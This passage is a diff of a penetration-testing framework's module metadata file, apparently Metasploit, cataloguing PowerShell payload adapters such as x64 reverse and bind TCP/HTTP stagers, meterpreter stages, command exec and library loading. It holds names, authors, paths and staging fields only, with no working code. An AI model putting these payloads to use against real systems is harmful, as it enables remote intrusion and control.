"payload_cmd/windows/powershell/x64/custom/bind_tcp_rc4": { + "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp_rc4", "aliases": [ ], @@ -185032,13 +204556,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", + "bwatters-r7", "hdm ", "skape ", - "Borja Merino " + "sf ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", "references": [ ], @@ -185049,20 +204575,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/bind_hidden_ipknock_tcp", + "ref_name": "cmd/windows/powershell/x64/custom/bind_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp_rc4" }, - "payload_cmd/windows/powershell/shell/bind_hidden_tcp": { - "name": "Powershell Exec, Windows Command Shell, Hidden Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/shell/bind_hidden_tcp", + "payload_cmd/windows/powershell/x64/custom/bind_tcp_uuid": { + "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp_uuid", "aliases": [ ], @@ -185071,13 +204603,139 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", + "bwatters-r7", "sf ", + "OJ Reeves" + ], + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/x64/custom/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp_uuid" + }, + "payload_cmd/windows/powershell/x64/custom/reverse_http": { + "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "OJ Reeves" + ], + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/x64/custom/reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/reverse_http", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_http" + }, + "payload_cmd/windows/powershell/x64/custom/reverse_https": { + "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", "hdm ", - "skape ", - "Borja Merino " + "agix", + "rwincey" + ], + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/x64/custom/reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/reverse_https", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_https" + }, + "payload_cmd/windows/powershell/x64/custom/reverse_named_pipe": { + "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", "references": [ ], @@ -185088,20 +204746,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/bind_hidden_tcp", + "ref_name": "cmd/windows/powershell/x64/custom/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_named_pipe" }, - "payload_cmd/windows/powershell/shell/bind_ipv6_tcp": { - "name": "Powershell Exec, Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/shell/bind_ipv6_tcp", + "payload_cmd/windows/powershell/x64/custom/reverse_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp", "aliases": [ ], @@ -185110,12 +204774,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", - "hdm ", - "skape " + "bwatters-r7", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for an IPv6 connection (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker (Windows x64)", "references": [ ], @@ -185126,20 +204788,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/bind_ipv6_tcp", + "ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp" }, - "payload_cmd/windows/powershell/shell/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/shell/bind_ipv6_tcp_uuid", + "payload_cmd/windows/powershell/x64/custom/reverse_tcp_rc4": { + "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp_rc4", "aliases": [ ], @@ -185148,13 +204816,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", + "bwatters-r7", "hdm ", "skape ", - "OJ Reeves" + "sf ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", "references": [ ], @@ -185165,20 +204835,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, - "payload_cmd/windows/powershell/shell/bind_named_pipe": { - "name": "Powershell Exec, Windows Command Shell, Windows x86 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/shell/bind_named_pipe", + "payload_cmd/windows/powershell/x64/custom/reverse_tcp_uuid": { + "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp_uuid", "aliases": [ ], @@ -185187,11 +204863,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", + "bwatters-r7", "sf ", - "UserExistsError" + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a pipe connection (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", "references": [ ], @@ -185202,20 +204878,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/bind_named_pipe", + "ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, - "payload_cmd/windows/powershell/shell/bind_nonx_tcp": { - "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/shell/bind_nonx_tcp", + "payload_cmd/windows/powershell/x64/custom/reverse_winhttp": { + "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_winhttp", "aliases": [ ], @@ -185224,11 +204906,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", - "vlad902 " + "bwatters-r7", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection (No NX)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", "references": [ ], @@ -185239,20 +204920,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/bind_nonx_tcp", + "ref_name": "cmd/windows/powershell/x64/custom/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_winhttp" }, - "payload_cmd/windows/powershell/shell/bind_tcp": { - "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/shell/bind_tcp", + "payload_cmd/windows/powershell/x64/custom/reverse_winhttps": { + "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_winhttps", "aliases": [ ], @@ -185261,12 +204948,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", - "hdm ", - "skape " + "bwatters-r7", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", "references": [ ], @@ -185277,20 +204962,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/bind_tcp", + "ref_name": "cmd/windows/powershell/x64/custom/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/custom/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_winhttps" }, - "payload_cmd/windows/powershell/shell/bind_tcp_rc4": { - "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/shell/bind_tcp_rc4", + "payload_cmd/windows/powershell/x64/exec": { + "name": "Powershell Exec, Windows x64 Execute Command", + "fullname": "payload/cmd/windows/powershell/x64/exec", "aliases": [ ], @@ -185299,14 +204990,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", - "hdm ", - "skape ", - "mihi", - "RageLtMan" + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection", + "description": "Execute an x64 payload from a command via PowerShell.\n\nExecute an arbitrary command (Windows x64)", "references": [ ], @@ -185317,20 +205003,24 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/bind_tcp_rc4", + "ref_name": "cmd/windows/powershell/x64/exec", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/exec", + "staged": false }, - "payload_cmd/windows/powershell/shell/bind_tcp_uuid": { - "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/shell/bind_tcp_uuid", + "payload_cmd/windows/powershell/x64/loadlibrary": { + "name": "Powershell Exec, Windows x64 LoadLibrary Path", + "fullname": "payload/cmd/windows/powershell/x64/loadlibrary", "aliases": [ ], @@ -185339,12 +205029,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", - "hdm ", - "OJ Reeves" + "scriptjunkie", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection with UUID Support (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nLoad an arbitrary x64 library path", "references": [ ], @@ -185355,20 +205043,24 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/bind_tcp_uuid", + "ref_name": "cmd/windows/powershell/x64/loadlibrary", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/loadlibrary", + "staged": false }, - "payload_cmd/windows/powershell/shell/find_tag": { - "name": "Powershell Exec, Windows Command Shell, Find Tag Ordinal Stager", - "fullname": "payload/cmd/windows/powershell/shell/find_tag", + "payload_cmd/windows/powershell/x64/messagebox": { + "name": "Powershell Exec, Windows MessageBox x64", + "fullname": "payload/cmd/windows/powershell/x64/messagebox", "aliases": [ ], @@ -185377,11 +205069,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", - "skape " + "pasta " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nUse an established connection", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a dialog via MessageBox using a customizable title, text & icon", "references": [ ], @@ -185392,20 +205082,24 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/find_tag", + "ref_name": "cmd/windows/powershell/x64/messagebox", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/messagebox", + "staged": false }, - "payload_cmd/windows/powershell/shell/reverse_ipv6_tcp": { - "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (IPv6)", - "fullname": "payload/cmd/windows/powershell/shell/reverse_ipv6_tcp", + "payload_cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp": { + "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp", "aliases": [ ], @@ -185414,14 +205108,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", + "skape ", "sf ", - "hdm ", - "skape " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker over IPv6", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185430,20 +205124,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/reverse_ipv6_tcp", + "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, - "payload_cmd/windows/powershell/shell/reverse_nonx_tcp": { - "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/shell/reverse_nonx_tcp", + "payload_cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -185452,13 +205152,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", + "skape ", "sf ", - "vlad902 " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker (No NX)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185467,20 +205168,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/reverse_nonx_tcp", + "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, - "payload_cmd/windows/powershell/shell/reverse_ord_tcp": { - "name": "Powershell Exec, Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/shell/reverse_ord_tcp", + "payload_cmd/windows/powershell/x64/meterpreter/bind_named_pipe": { + "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_named_pipe", "aliases": [ ], @@ -185489,12 +205196,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf " + "skape ", + "sf ", + "OJ Reeves", + "UserExistsError" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185503,20 +205213,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/reverse_ord_tcp", + "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_named_pipe" }, - "payload_cmd/windows/powershell/shell/reverse_tcp": { - "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp", + "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp": { + "name": "Powershell Exec, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_tcp", "aliases": [ ], @@ -185525,14 +205241,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", + "skape ", "sf ", - "hdm ", - "skape " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185541,20 +205257,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/reverse_tcp", + "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp" }, - "payload_cmd/windows/powershell/shell/reverse_tcp_allports": { - "name": "Powershell Exec, Windows Command Shell, Reverse All-Port TCP Stager", - "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_allports", + "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp_rc4": { + "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_tcp_rc4", "aliases": [ ], @@ -185563,14 +205285,18 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", + "skape ", "sf ", + "OJ Reeves", "hdm ", - "skape " + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185579,20 +205305,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/reverse_tcp_allports", + "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp_rc4" }, - "payload_cmd/windows/powershell/shell/reverse_tcp_dns": { - "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (DNS)", - "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_dns", + "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp_uuid": { + "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_tcp_uuid", "aliases": [ ], @@ -185601,15 +205333,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", - "hdm ", "skape ", - "RageLtMan" + "sf ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185618,20 +205349,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/reverse_tcp_dns", + "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + 